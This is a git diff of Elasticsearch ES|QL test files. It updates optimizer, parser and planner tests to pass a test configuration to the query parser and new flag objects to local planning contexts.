index 7795bf5c2d9ff..2cd28b817a184 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/optimizer/LogicalPlanOptimizerTests.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/optimizer/LogicalPlanOptimizerTests.java
@@ -5254,20 +5254,26 @@ public void testEmptyMappingIndex() {
             TEST_VERIFIER
         );
 
-        var plan = logicalOptimizer.optimize(analyzer.analyze(parser.createStatement("from empty_test")));
+        var plan = logicalOptimizer.optimize(analyzer.analyze(parser.createStatement("from empty_test", EsqlTestUtils.TEST_CFG)));
         as(plan, LocalRelation.class);
         assertThat(plan.output(), equalTo(NO_FIELDS));
 
-        plan = logicalOptimizer.optimize(analyzer.analyze(parser.createStatement("from empty_test metadata _id | eval x = 1")));
+        plan = logicalOptimizer.optimize(
+            analyzer.analyze(parser.createStatement("from empty_test metadata _id | eval x = 1", EsqlTestUtils.TEST_CFG))
+        );
         as(plan, LocalRelation.class);
         assertThat(Expressions.names(plan.output()), contains("_id", "x"));
 
-        plan = logicalOptimizer.optimize(analyzer.analyze(parser.createStatement("from empty_test metadata _id, _version | limit 5")));
+        plan = logicalOptimizer.optimize(
+            analyzer.analyze(parser.createStatement("from empty_test metadata _id, _version | limit 5", EsqlTestUtils.TEST_CFG))
+        );
         as(plan, LocalRelation.class);
         assertThat(Expressions.names(plan.output()), contains("_id", "_version"));
 
         plan = logicalOptimizer.optimize(
-            analyzer.analyze(parser.createStatement("from empty_test | eval x = \"abc\" | enrich languages_idx on x"))
+            analyzer.analyze(
+                parser.createStatement("from empty_test | eval x = \"abc\" | enrich languages_idx on x", EsqlTestUtils.TEST_CFG)
+            )
         );
         LocalRelation local = as(plan, LocalRelation.class);
         assertThat(Expressions.names(local.output()), contains(NO_FIELDS.get(0).name(), "x", "language_code", "language_name"));
@@ -5962,7 +5968,7 @@ private void doTestSimplifyComparisonArithmetics(
 
     private void assertSemanticMatching(String expected, String provided) {
         BinaryComparison bc = extractPlannedBinaryComparison(provided);
-        LogicalPlan exp = analyzerTypes.analyze(parser.createStatement("FROM types | WHERE " + expected));
+        LogicalPlan exp = analyzerTypes.analyze(parser.createStatement("FROM types | WHERE " + expected, EsqlTestUtils.TEST_CFG));
         assertSemanticMatching(bc, extractPlannedBinaryComparison(exp));
     }
 
@@ -5990,7 +5996,7 @@ private Expression getComparisonFromLogicalPlan(LogicalPlan plan) {
     private void assertNotSimplified(String comparison) {
         String query = "FROM types | WHERE " + comparison;
         Expression optimized = getComparisonFromLogicalPlan(planTypes(query));
-        Expression raw = getComparisonFromLogicalPlan(analyzerTypes.analyze(parser.createStatement(query)));
+        Expression raw = getComparisonFromLogicalPlan(analyzerTypes.analyze(parser.createStatement(query, EsqlTestUtils.TEST_CFG)));
 
         assertTrue(raw.semanticEquals(optimized));
     }
@@ -6683,7 +6689,7 @@ public void testMultipleLookupShadowing() {
     public void testTranslateMetricsWithoutGrouping() {
         assumeTrue("requires snapshot builds", Build.current().isSnapshot());
         var query = "TS k8s | STATS max(rate(network.total_bytes_in))";
-        var plan = logicalOptimizer.optimize(metricsAnalyzer.analyze(parser.createStatement(query)));
+        var plan = logicalOptimizer.optimize(metricsAnalyzer.analyze(parser.createStatement(query, EsqlTestUtils.TEST_CFG)));
         Limit limit = as(plan, Limit.class);
         Aggregate finalAggs = as(limit.child(), Aggregate.class);
         assertThat(finalAggs, not(instanceOf(TimeSeriesAggregate.class)));
@@ -6704,7 +6710,7 @@ public void testTranslateMetricsWithoutGrouping() {
     public void testTranslateMixedAggsWithoutGrouping() {
         assumeTrue("requires snapshot builds", Build.current().isSnapshot());
         var query = "TS k8s | STATS max(rate(network.total_bytes_in)), max(network.cost)";
-        var plan = logicalOptimizer.optimize(metricsAnalyzer.analyze(parser.createStatement(query)));
+        var plan = logicalOptimizer.optimize(metricsAnalyzer.analyze(parser.createStatement(query, EsqlTestUtils.TEST_CFG)));
         Limit limit = as(plan, Limit.class);
         Aggregate finalAggs = as(limit.child(), Aggregate.class);
         assertThat(finalAggs, not(instanceOf(TimeSeriesAggregate.class)));
@@ -6729,7 +6735,7 @@ public void testTranslateMixedAggsWithoutGrouping() {
     public void testTranslateMixedAggsWithMathWithoutGrouping() {
         assumeTrue("requires snapshot builds", Build.current().isSnapshot());
         var query = "TS k8s | STATS max(rate(network.total_bytes_in)), max(network.cost + 0.2) * 1.1";
-        var plan = logicalOptimizer.optimize(metricsAnalyzer.analyze(parser.createStatement(query)));
+        var plan = logicalOptimizer.optimize(metricsAnalyzer.analyze(parser.createStatement(query, EsqlTestUtils.TEST_CFG)));
         Project project = as(plan, Project.class);
         Eval mulEval = as(project.child(), Eval.class);
         assertThat(mulEval.fields(), hasSize(1));
@@ -6767,7 +6773,7 @@ public void testTranslateMixedAggsWithMathWithoutGrouping() {
     public void testTranslateMetricsGroupedByOneDimension() {
         assumeTrue("requires snapshot builds", Build.current().isSnapshot());
         var query = "TS k8s | STATS sum(rate(network.total_bytes_in)) BY cluster | SORT cluster | LIMIT 10";
-        var plan = logicalOptimizer.optimize(metricsAnalyzer.analyze(parser.createStatement(query)));
+        var plan = logicalOptimizer.optimize(metricsAnalyzer.analyze(parser.createStatement(query, EsqlTestUtils.TEST_CFG)));
         TopN topN = as(plan, TopN.class);
         Aggregate aggsByCluster = as(topN.child(), Aggregate.class);
         assertThat(aggsByCluster, not(instanceOf(TimeSeriesAggregate.class)));
@@ -6792,7 +6798,7 @@ public void testTranslateMetricsGroupedByOneDimension() {
     public void testTranslateMetricsGroupedByTwoDimension() {
         assumeTrue("requires snapshot builds", Build.current().isSnapshot());
         var query = "TS k8s | STATS avg(rate(network.total_bytes_in)) BY cluster, pod";
-        var plan = logicalOptimizer.optimize(metricsAnalyzer.analyze(parser.createStatement(query)));
+        var plan = logicalOptimizer.optimize(metricsAnalyzer.analyze(parser.createStatement(query, EsqlTestUtils.TEST_CFG)));
         Project project = as(plan, Project.class);
         Eval eval = as(project.child(), Eval.class);
         assertThat(eval.fields(), hasSize(1));
@@ -6832,7 +6838,7 @@ public void testTranslateMetricsGroupedByTwoDimension() {
     public void testTranslateMetricsGroupedByTimeBucket() {
         assumeTrue("requires snapshot builds", Build.current().isSnapshot());
         var query = "TS k8s | STATS sum(rate(network.total_bytes_in)) BY bucket(@timestamp, 1h)";
-        var plan = logicalOptimizer.optimize(metricsAnalyzer.analyze(parser.createStatement(query)));
+        var plan = logicalOptimizer.optimize(metricsAnalyzer.analyze(parser.createStatement(query, EsqlTestUtils.TEST_CFG)));
         Limit limit = as(plan, Limit.class);
         Aggregate finalAgg = as(limit.child(), Aggregate.class);
         assertThat(finalAgg, not(instanceOf(TimeSeriesAggregate.class)));
@@ -6866,7 +6872,7 @@ public void testTranslateMetricsGroupedByTimeBucketAndDimensions() {
             | SORT cluster
             | LIMIT 10
             """;
-        var plan = logicalOptimizer.optimize(metricsAnalyzer.analyze(parser.createStatement(query)));
+        var plan = logicalOptimizer.optimize(metricsAnalyzer.analyze(parser.createStatement(query, EsqlTestUtils.TEST_CFG)));
         Project project = as(plan, Project.class);
         TopN topN = as(project.child(), TopN.class);
         Eval eval = as(topN.child(), Eval.class);
@@ -6908,7 +6914,7 @@ public void testTranslateSumOfTwoRates() {
             | SORT cluster
             | LIMIT 10
             """;
-        var plan = logicalOptimizer.optimize(metricsAnalyzer.analyze(parser.createStatement(query)));
+        var plan = logicalOptimizer.optimize(metricsAnalyzer.analyze(parser.createStatement(query, EsqlTestUtils.TEST_CFG)));
         TopN topN = as(plan, TopN.class);
         Aggregate finalAgg = as(topN.child(), Aggregate.class);
         Eval eval = as(finalAgg.child(), Eval.class);
@@ -6929,7 +6935,7 @@ public void testTranslateMixedAggsGroupedByTimeBucketAndDimensions() {
             | SORT cluster
             | LIMIT 10
             """;
-        var plan = logicalOptimizer.optimize(metricsAnalyzer.analyze(parser.createStatement(query)));
+        var plan = logicalOptimizer.optimize(metricsAnalyzer.analyze(parser.createStatement(query, EsqlTestUtils.TEST_CFG)));
         Project project = as(plan, Project.class);
         TopN topN = as(project.child(), TopN.class);
         Eval eval = as(topN.child(), Eval.class);
@@ -6981,7 +6987,7 @@ public void testAdjustMetricsRateBeforeFinalAgg() {
             | SORT cluster
             | LIMIT 10
             """;
-        var plan = logicalOptimizer.optimize(metricsAnalyzer.analyze(parser.createStatement(query)));
+        var plan = logicalOptimizer.optimize(metricsAnalyzer.analyze(parser.createStatement(query, EsqlTestUtils.TEST_CFG)));
         Project project = as(plan, Project.class);
         TopN topN = as(project.child(), TopN.class);
         Eval evalDiv = as(topN.child(), Eval.class);
@@ -7034,7 +7040,7 @@ public void testAdjustMetricsRateBeforeFinalAgg() {
     public void testTranslateMaxOverTime() {
         assumeTrue("requires snapshot builds", Build.current().isSnapshot());
         var query = "TS k8s | STATS sum(max_over_time(network.bytes_in)) BY bucket(@timestamp, 1h)";
-        var plan = logicalOptimizer.optimize(metricsAnalyzer.analyze(parser.createStatement(query)));
+        var plan = logicalOptimizer.optimize(metricsAnalyzer.analyze(parser.createStatement(query, EsqlTestUtils.TEST_CFG)));
         Limit limit = as(plan, Limit.class);
         Aggregate finalAgg = as(limit.child(), Aggregate.class);
         assertThat(finalAgg, not(instanceOf(TimeSeriesAggregate.class)));
@@ -7063,7 +7069,7 @@ public void testTranslateMaxOverTime() {
     public void testTranslateAvgOverTime() {
         assumeTrue("requires snapshot builds", Build.current().isSnapshot());
         var query = "TS k8s | STATS sum(avg_over_time(network.bytes_in)) BY bucket(@timestamp, 1h)";
-        var plan = logicalOptimizer.optimize(metricsAnalyzer.analyze(parser.createStatement(query)));
+        var plan = logicalOptimizer.optimize(metricsAnalyzer.analyze(parser.createStatement(query, EsqlTestUtils.TEST_CFG)));
         Limit limit = as(plan, Limit.class);
         Aggregate finalAgg = as(limit.child(), Aggregate.class);
         assertThat(finalAgg, not(instanceOf(TimeSeriesAggregate.class)));
@@ -7103,7 +7109,7 @@ public void testMetricsWithoutRate() {
             """);
         List<LogicalPlan> plans = new ArrayList<>();
         for (String query : queries) {
-            var plan = logicalOptimizer.optimize(metricsAnalyzer.analyze(parser.createStatement(query)));
+            var plan = logicalOptimizer.optimize(metricsAnalyzer.analyze(parser.createStatement(query, EsqlTestUtils.TEST_CFG)));
             plans.add(plan);
         }
         for (LogicalPlan plan : plans) {
@@ -7694,7 +7700,7 @@ public void testPruneRedundantOrderBy() {
             | mv_expand x
             | sort y
             """;
-        LogicalPlan analyzed = analyzer.analyze(parser.createStatement(query));
+        LogicalPlan analyzed = analyzer.analyze(parser.createStatement(query, EsqlTestUtils.TEST_CFG));
         LogicalPlan optimized = rule.apply(analyzed);
 
         // check that all the redundant SORTs are removed in a single run
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/optimizer/OptimizerRulesTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/optimizer/OptimizerRulesTests.java
index b36cb3f6c6a42..fe4fd96120a01 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/optimizer/OptimizerRulesTests.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/optimizer/OptimizerRulesTests.java
@@ -8,6 +8,7 @@
 
 import org.elasticsearch.common.io.stream.StreamOutput;
 import org.elasticsearch.test.ESTestCase;
+import org.elasticsearch.xpack.esql.EsqlTestUtils;
 import org.elasticsearch.xpack.esql.core.expression.Alias;
 import org.elasticsearch.xpack.esql.core.expression.Expression;
 import org.elasticsearch.xpack.esql.core.expression.FieldAttribute;
@@ -128,7 +129,7 @@ protected Expression rule(Expression e, LogicalOptimizerContext ctx) {
         };
 
         rule.apply(
-            new EsqlParser().createStatement("FROM index | EVAL x=f1+1 | KEEP x, f2 | LIMIT 1"),
+            new EsqlParser().createStatement("FROM index | EVAL x=f1+1 | KEEP x, f2 | LIMIT 1", EsqlTestUtils.TEST_CFG),
             new LogicalOptimizerContext(null, FoldContext.small())
         );
 
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/optimizer/PhysicalPlanOptimizerTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/optimizer/PhysicalPlanOptimizerTests.java
index 99eded20b1687..b6ef858bd00f3 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/optimizer/PhysicalPlanOptimizerTests.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/optimizer/PhysicalPlanOptimizerTests.java
@@ -136,6 +136,7 @@
 import org.elasticsearch.xpack.esql.planner.LocalExecutionPlanner;
 import org.elasticsearch.xpack.esql.planner.PlannerUtils;
 import org.elasticsearch.xpack.esql.planner.mapper.Mapper;
+import org.elasticsearch.xpack.esql.plugin.EsqlFlags;
 import org.elasticsearch.xpack.esql.plugin.QueryPragmas;
 import org.elasticsearch.xpack.esql.querydsl.query.EqualsSyntheticSourceDelegate;
 import org.elasticsearch.xpack.esql.querydsl.query.SingleValueQuery;
@@ -7842,7 +7843,7 @@ private LocalExecutionPlanner.LocalExecutionPlan physicalOperationsFromPhysicalP
         // The TopN needs an estimated row size for the planner to work
         var plans = PlannerUtils.breakPlanBetweenCoordinatorAndDataNode(EstimatesRowSize.estimateRowSize(0, plan), config);
         plan = useDataNodePlan ? plans.v2() : plans.v1();
-        plan = PlannerUtils.localPlan(config, FoldContext.small(), plan, TEST_SEARCH_STATS);
+        plan = PlannerUtils.localPlan(new EsqlFlags(true), config, FoldContext.small(), plan, TEST_SEARCH_STATS);
         ExchangeSinkHandler exchangeSinkHandler = new ExchangeSinkHandler(null, 10, () -> 10);
         LocalExecutionPlanner planner = new LocalExecutionPlanner(
             "test",
@@ -8209,7 +8210,7 @@ private PhysicalPlan optimizedPlan(PhysicalPlan plan, SearchStats searchStats) {
         // individually hence why here the plan is kept as is
 
         var l = p.transformUp(FragmentExec.class, fragment -> {
-            var localPlan = PlannerUtils.localPlan(config, FoldContext.small(), fragment, searchStats);
+            var localPlan = PlannerUtils.localPlan(new EsqlFlags(true), config, FoldContext.small(), fragment, searchStats);
             return EstimatesRowSize.estimateRowSize(fragment.estimatedRowSize(), localPlan);
         });
 
@@ -8247,7 +8248,7 @@ private PhysicalPlan physicalPlan(String query, TestDataSource dataSource) {
     }
 
     private PhysicalPlan physicalPlan(String query, TestDataSource dataSource, boolean assertSerialization) {
-        var logical = logicalOptimizer.optimize(dataSource.analyzer.analyze(parser.createStatement(query)));
+        var logical = logicalOptimizer.optimize(dataSource.analyzer.analyze(parser.createStatement(query, config)));
         // System.out.println("Logical\n" + logical);
         var physical = mapper.map(logical);
         // System.out.println("Physical\n" + physical);
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/optimizer/TestPlannerOptimizer.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/optimizer/TestPlannerOptimizer.java
index e6a7d110f8c09..761902bebe19e 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/optimizer/TestPlannerOptimizer.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/optimizer/TestPlannerOptimizer.java
@@ -15,6 +15,7 @@
 import org.elasticsearch.xpack.esql.plan.physical.PhysicalPlan;
 import org.elasticsearch.xpack.esql.planner.PlannerUtils;
 import org.elasticsearch.xpack.esql.planner.mapper.Mapper;
+import org.elasticsearch.xpack.esql.plugin.EsqlFlags;
 import org.elasticsearch.xpack.esql.session.Configuration;
 import org.elasticsearch.xpack.esql.stats.SearchStats;
 
@@ -66,7 +67,7 @@ private PhysicalPlan optimizedPlan(PhysicalPlan plan, SearchStats searchStats) {
             new LocalLogicalOptimizerContext(config, FoldContext.small(), searchStats)
         );
         var physicalTestOptimizer = new TestLocalPhysicalPlanOptimizer(
-            new LocalPhysicalOptimizerContext(config, FoldContext.small(), searchStats),
+            new LocalPhysicalOptimizerContext(new EsqlFlags(true), config, FoldContext.small(), searchStats),
             true
         );
         var l = PlannerUtils.localPlan(physicalPlan, logicalTestOptimizer, physicalTestOptimizer);
@@ -79,7 +80,7 @@ private PhysicalPlan optimizedPlan(PhysicalPlan plan, SearchStats searchStats) {
     }
 
     private PhysicalPlan physicalPlan(String query, Analyzer analyzer) {
-        var logical = logicalOptimizer.optimize(analyzer.analyze(parser.createStatement(query)));
+        var logical = logicalOptimizer.optimize(analyzer.analyze(parser.createStatement(query, EsqlTestUtils.TEST_CFG)));
         // System.out.println("Logical\n" + logical);
         var physical = mapper.map(logical);
         return physical;
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/optimizer/rules/logical/PropagateInlineEvalsTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/optimizer/rules/logical/PropagateInlineEvalsTests.java
index 088b5c1c9205e..a7451ea2f5109 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/optimizer/rules/logical/PropagateInlineEvalsTests.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/optimizer/rules/logical/PropagateInlineEvalsTests.java
@@ -169,7 +169,7 @@ public void testGroupingAliasingMoved_To_LeftSideOfJoin_WithExpression() {
     }
 
     private LogicalPlan plan(String query, LogicalPlanOptimizer optimizer) {
-        return optimizer.optimize(analyzer.analyze(parser.createStatement(query)));
+        return optimizer.optimize(analyzer.analyze(parser.createStatement(query, EsqlTestUtils.TEST_CFG)));
     }
 
     @Override
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/optimizer/rules/physical/local/PushTopNToSourceTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/optimizer/rules/physical/local/PushTopNToSourceTests.java
index cacf6e422882b..00f8dfb9aaacc 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/optimizer/rules/physical/local/PushTopNToSourceTests.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/optimizer/rules/physical/local/PushTopNToSourceTests.java
@@ -35,6 +35,7 @@
 import org.elasticsearch.xpack.esql.plan.physical.EvalExec;
 import org.elasticsearch.xpack.esql.plan.physical.PhysicalPlan;
 import org.elasticsearch.xpack.esql.plan.physical.TopNExec;
+import org.elasticsearch.xpack.esql.plugin.EsqlFlags;
 import org.elasticsearch.xpack.esql.stats.SearchStats;
 
 import java.io.IOException;
@@ -416,7 +417,7 @@ private static void assertNoPushdownSort(TestPhysicalPlanBuilder builder, String
 
     private static PhysicalPlan pushTopNToSource(TopNExec topNExec) {
         var configuration = EsqlTestUtils.configuration("from test");
-        var ctx = new LocalPhysicalOptimizerContext(configuration, FoldContext.small(), SearchStats.EMPTY);
+        var ctx = new LocalPhysicalOptimizerContext(new EsqlFlags(true), configuration, FoldContext.small(), SearchStats.EMPTY);
         var pushTopNToSource = new PushTopNToSource();
         return pushTopNToSource.rule(topNExec, ctx);
     }
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/parser/AbstractStatementParserTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/parser/AbstractStatementParserTests.java
index 462b9f7373ecf..07ab624e4a2a9 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/parser/AbstractStatementParserTests.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/parser/AbstractStatementParserTests.java
@@ -11,6 +11,7 @@
 import org.elasticsearch.common.lucene.BytesRefs;
 import org.elasticsearch.index.IndexMode;
 import org.elasticsearch.test.ESTestCase;
+import org.elasticsearch.xpack.esql.EsqlTestUtils;
 import org.elasticsearch.xpack.esql.VerificationException;
 import org.elasticsearch.xpack.esql.core.expression.Expression;
 import org.elasticsearch.xpack.esql.core.expression.Literal;
@@ -57,11 +58,11 @@ LogicalPlan statement(String e) {
     }
 
     LogicalPlan statement(String e, QueryParams params) {
-        return parser.createStatement(e, params);
+        return parser.createStatement(e, params, EsqlTestUtils.TEST_CFG);
     }
 
     LogicalPlan processingCommand(String e) {
-        return parser.createStatement("row a = 1 | " + e);
+        return parser.createStatement("row a = 1 | " + e, EsqlTestUtils.TEST_CFG);
     }
 
     static UnresolvedAttribute attribute(String name) {
@@ -170,7 +171,7 @@ void expectVerificationError(String query, String errorMessage) {
             "Query [" + query + "] is expected to throw " + VerificationException.class + " with message [" + errorMessage + "]",
             VerificationException.class,
             containsString(errorMessage),
-            () -> parser.createStatement(query)
+            () -> parser.createStatement(query, EsqlTestUtils.TEST_CFG)
         );
     }
 
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/parser/ExpressionTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/parser/ExpressionTests.java
index c39dc70f3ad39..0696f2c99e03e 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/parser/ExpressionTests.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/parser/ExpressionTests.java
@@ -9,6 +9,7 @@
 
 import org.elasticsearch.common.lucene.BytesRefs;
 import org.elasticsearch.test.ESTestCase;
+import org.elasticsearch.xpack.esql.EsqlTestUtils;
 import org.elasticsearch.xpack.esql.core.expression.Alias;
 import org.elasticsearch.xpack.esql.core.expression.Expression;
 import org.elasticsearch.xpack.esql.core.expression.FoldContext;
@@ -659,7 +660,7 @@ private Project projectExpression(String e) {
     }
 
     private LogicalPlan parse(String s) {
-        return parser.createStatement(s);
+        return parser.createStatement(s, EsqlTestUtils.TEST_CFG);
     }
 
     private Literal l(Object value, DataType type) {
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/parser/GrammarInDevelopmentParsingTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/parser/GrammarInDevelopmentParsingTests.java
index f31d9ee58c268..14ded33e297ee 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/parser/GrammarInDevelopmentParsingTests.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/parser/GrammarInDevelopmentParsingTests.java
@@ -8,6 +8,7 @@
 package org.elasticsearch.xpack.esql.parser;
 
 import org.elasticsearch.test.ESTestCase;
+import org.elasticsearch.xpack.esql.EsqlTestUtils;
 
 import static org.hamcrest.Matchers.containsString;
 import static org.hamcrest.Matchers.not;
@@ -35,7 +36,7 @@ public void testDevelopmentRerank() {
     }
 
     void parse(String query, String errorMessage) {
-        ParsingException pe = expectThrows(ParsingException.class, () -> parser().createStatement(query));
+        ParsingException pe = expectThrows(ParsingException.class, () -> parser().createStatement(query, EsqlTestUtils.TEST_CFG));
         assertThat(pe.getMessage(), containsString("mismatched input '" + errorMessage + "'"));
         // check the parser eliminated the DEV_ tokens from the message
         assertThat(pe.getMessage(), not(containsString("DEV_")));
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/parser/StatementParserTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/parser/StatementParserTests.java
index e7f43f4644684..c2ce416a90c8a 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/parser/StatementParserTests.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/parser/StatementParserTests.java
@@ -13,6 +13,7 @@
 import org.elasticsearch.common.lucene.BytesRefs;
 import org.elasticsearch.core.Tuple;
 import org.elasticsearch.index.IndexMode;
+import org.elasticsearch.xpack.esql.EsqlTestUtils;
 import org.elasticsearch.xpack.esql.action.EsqlCapabilities;
 import org.elasticsearch.xpack.esql.core.capabilities.UnresolvedException;
 import org.elasticsearch.xpack.esql.core.expression.Alias;
@@ -3835,7 +3836,7 @@ public void testRerankWithPositionalParameters() {
             List.of(paramAsConstant(null, "query text"), paramAsConstant(null, "reranker"), paramAsConstant(null, "rerank_score"))
         );
         var rerank = as(
-            parser.createStatement("row a = 1 | RERANK ? ON title WITH inferenceId=?, scoreColumn=? ", queryParams),
+            parser.createStatement("row a = 1 | RERANK ? ON title WITH inferenceId=?, scoreColumn=? ", queryParams, EsqlTestUtils.TEST_CFG),
             Rerank.class
         );
 
@@ -3858,7 +3859,8 @@ public void testRerankWithNamedParameters() {
         var rerank = as(
             parser.createStatement(
                 "row a = 1 | RERANK ?queryText ON title WITH inferenceId=?inferenceId, scoreColumn=?scoreColumnName",
-                queryParams
+                queryParams,
+                EsqlTestUtils.TEST_CFG
             ),
             Rerank.class
         );
@@ -3906,7 +3908,10 @@ public void testCompletionDefaultFieldName() {
 
     public void testCompletionWithPositionalParameters() {
         var queryParams = new QueryParams(List.of(paramAsConstant(null, "inferenceId")));
-        var plan = as(parser.createStatement("row a = 1 | COMPLETION prompt_field WITH ?", queryParams), Completion.class);
+        var plan = as(
+            parser.createStatement("row a = 1 | COMPLETION prompt_field WITH ?", queryParams, EsqlTestUtils.TEST_CFG),
+            Completion.class
+        );
 
         assertThat(plan.prompt(), equalTo(attribute("prompt_field")));
         assertThat(plan.inferenceId(), equalTo(literalString("inferenceId")));
@@ -3915,7 +3920,10 @@ public void testCompletionWithPositionalParameters() {
 
     public void testCompletionWithNamedParameters() {
         var queryParams = new QueryParams(List.of(paramAsConstant("inferenceId", "myInference")));
-        var plan = as(parser.createStatement("row a = 1 | COMPLETION prompt_field WITH ?inferenceId", queryParams), Completion.class);
+        var plan = as(
+            parser.createStatement("row a = 1 | COMPLETION prompt_field WITH ?inferenceId", queryParams, EsqlTestUtils.TEST_CFG),
+            Completion.class
+        );
 
         assertThat(plan.prompt(), equalTo(attribute("prompt_field")));
         assertThat(plan.inferenceId(), equalTo(literalString("myInference")));
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/planner/FilterTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/planner/FilterTests.java
index 69060f9cee0f2..f29d3928384b9 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/planner/FilterTests.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/planner/FilterTests.java
@@ -16,7 +16,6 @@
 import org.elasticsearch.common.logging.LoggerMessageFormat;
 import org.elasticsearch.index.IndexMode;
 import org.elasticsearch.index.query.AbstractQueryBuilder;
-import org.elasticsearch.index.query.AutomatonQueryBuilder;
 import org.elasticsearch.index.query.BoolQueryBuilder;
 import org.elasticsearch.index.query.QueryBuilder;
 import org.elasticsearch.test.ESTestCase;
@@ -30,8 +29,10 @@
 import org.elasticsearch.xpack.esql.expression.function.EsqlFunctionRegistry;
 import org.elasticsearch.xpack.esql.index.EsIndex;
 import org.elasticsearch.xpack.esql.index.IndexResolution;
+import org.elasticsearch.xpack.esql.io.stream.ExpressionQueryBuilder;
 import org.elasticsearch.xpack.esql.io.stream.PlanStreamInput;
 import org.elasticsearch.xpack.esql.io.stream.PlanStreamOutput;
+import org.elasticsearch.xpack.esql.io.stream.PlanStreamWrapperQueryBuilder;
 import org.elasticsearch.xpack.esql.optimizer.LogicalPlanOptimizer;
 import org.elasticsearch.xpack.esql.optimizer.PhysicalOptimizerContext;
 import org.elasticsearch.xpack.esql.optimizer.PhysicalPlanOptimizer;
@@ -39,6 +40,7 @@
 import org.elasticsearch.xpack.esql.plan.physical.FragmentExec;
 import org.elasticsearch.xpack.esql.plan.physical.PhysicalPlan;
 import org.elasticsearch.xpack.esql.planner.mapper.Mapper;
+import org.elasticsearch.xpack.esql.plugin.EsqlFlags;
 import org.elasticsearch.xpack.esql.querydsl.query.SingleValueQuery;
 import org.elasticsearch.xpack.esql.session.Configuration;
 import org.junit.BeforeClass;
@@ -50,6 +52,7 @@
 import java.util.Set;
 
 import static java.util.Arrays.asList;
+import static org.elasticsearch.TransportVersions.V_8_17_0;
 import static org.elasticsearch.index.query.QueryBuilders.rangeQuery;
 import static org.elasticsearch.xpack.esql.ConfigurationTestUtils.randomConfiguration;
 import static org.elasticsearch.xpack.esql.EsqlTestUtils.TEST_VERIFIER;
@@ -324,8 +327,8 @@ public void testLikeList() {
             |WHERE {} LIKE ("a+", "b+")
             """, LAST_NAME);
         var plan = plan(query, null);
-
-        var filter = filterQueryForTransportNodes(TransportVersion.current(), plan);
+        // test with an older version, so like list is not supported
+        var filter = filterQueryForTransportNodes(V_8_17_0, plan);
         assertNull(filter);
     }
 
@@ -342,12 +345,13 @@ public void testLikeListNullTransportVersion() {
             """, LAST_NAME);
         var plan = plan(query, null);
 
-        SingleValueQuery.Builder filter = (SingleValueQuery.Builder) filterQueryForTransportNodes(null, plan);
+        PlanStreamWrapperQueryBuilder filterWrapper = (PlanStreamWrapperQueryBuilder) filterQueryForTransportNodes(null, plan);
+        SingleValueQuery.Builder filter = (SingleValueQuery.Builder) filterWrapper.next();
         assertEquals(LAST_NAME, filter.fieldName());
-        AutomatonQueryBuilder innerFilter = (AutomatonQueryBuilder) filter.next();
+        ExpressionQueryBuilder innerFilter = (ExpressionQueryBuilder) filter.next();
         assertEquals(LAST_NAME, innerFilter.fieldName());
         assertEquals("""
-            LIKE("a+", "b+"), caseInsensitive=false""", innerFilter.description());
+            last_name LIKE ("a+", "b+")""", innerFilter.getExpression().toString());
     }
 
     /**
@@ -378,7 +382,7 @@ public static QueryBuilder singleValueQuery(String query, QueryBuilder inner, St
     }
 
     private PhysicalPlan plan(String query, QueryBuilder restFilter) {
-        var logical = logicalOptimizer.optimize(analyzer.analyze(parser.createStatement(query)));
+        var logical = logicalOptimizer.optimize(analyzer.analyze(parser.createStatement(query, EsqlTestUtils.TEST_CFG)));
         // System.out.println("Logical\n" + logical);
         var physical = mapper.map(logical);
         // System.out.println("physical\n" + physical);
